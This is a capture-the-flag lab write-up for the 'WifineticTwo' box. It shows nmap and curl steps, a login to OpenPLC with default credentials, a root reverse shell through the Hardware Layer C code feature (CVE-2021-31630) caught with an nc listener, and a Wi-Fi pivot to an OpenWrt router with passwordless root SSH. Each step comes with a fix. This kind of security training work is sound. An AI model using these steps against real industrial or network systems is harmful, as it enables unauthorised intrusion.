WifineticTwo
Summary
I found only two exposed services on the target — SSH and a web console on port 8080 that turned out to be OpenPLC, an industrial control (ICS) management platform. OpenPLC was left on its factory default login (openplc:openplc), and because the OpenPLC runtime itself runs as root, the built-in 'Hardware Layer Code Box' — a feature that compiles operator-supplied C code into the PLC runtime (CVE-2021-31630) — gave me a root shell on the container the instant they logged in.
From that root foothold the container was found to have a physical Wi-Fi adapter (wlan0) attached, exposing a second, air-gapped-looking network whose single access point advertised the SSID 'plcrouter'. The container joined that network, coming up on $INTERNAL_HOST2/24 with the access point itself as the default route, and the real prize was waiting one hop away: the wireless router ($INTERNAL_HOST, an OpenWrt device) accepted SSH as root with a blank password, handing over full control of the network's gateway.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_HOST3="<another-host-reached-after-pivoting>"
export INTERNAL_HOST4="<another-host-reached-after-pivoting>"Attack path — how the box was taken
Exact commands 2
Confirm the two open ports and identify OpenPLC/Werkzeug.
$ nmap -p22,8080 -sV -T4 $TARGETFollow the redirect to the OpenPLC login page.
$ curl -ksS -L --max-time 15 -D - http://$TARGET:8080/Exact commands 2
Fetch the login form and CSRF/session cookie.
$ curl -sS -c cookies.txt http://$TARGET:8080/loginAuthenticate with the OpenPLC default credentials.
$ curl -sS -i -b cookies.txt -c cookies.txt -X POST -d 'username=openplc&password=openplc' http://$TARGET:8080/loginFixChange the OpenPLC default administrator credentialsCritical
Exact commands 3
Start a listener before triggering the payload.
$ nc -lvnp 4444Compile step; replace listener IP/port in the payload.
$ # In the browser: Hardware tab -> paste a C reverse-shell payload into updateCustomOut() -> Save changes (compiles)Executes the compiled code as root; catches the shell on the nc listener.
$ # Dashboard -> Start PLCFixPatch OpenPLC and stop running the PLC runtime as rootCritical
Exact commands 4
Confirm root and map network interfaces.
$ id; hostname; ip -brief address; ip route
uid=0(root)Confirm unrestricted sudo (ALL:ALL) ALL, though root was already held.
$ sudo -n -l 2>/dev/nullEnumerate the process's Linux capabilities.
$ capsh --print 2>/dev/null || getcap -r / 2>/dev/nullLocate the local flag file (result: <user.txt>).
$ find / -type f -name user.txt -exec cat {} \; 2>/dev/nullFixReduce container privileges and remove unnecessary hardware accessHigh
Exact commands 2
Confirm the wireless adapter is present.
$ ip link show wlan0Enumerate nearby access points and read their encryption.
$ iw dev wlan0 scan | grep -E 'SSID|BSS|signal|RSN'Exact commands 1
Confirm the wireless interface is up on the new network and note its default route.
$ id; ip -brief address show wlan0; ip route showExact commands 1
BatchMode refuses to prompt, so a shell here proves the root account has no password; result: <root.txt>.
$ ssh -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=5 root@$INTERNAL_HOST 'id; hostname; cat /root/root.txt'
uid=0(root) gid=0(root)FixSet a root password and restrict SSH access on the OpenWRT gatewayCritical
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 8080/tcp | http-proxy HAProxy http proxy |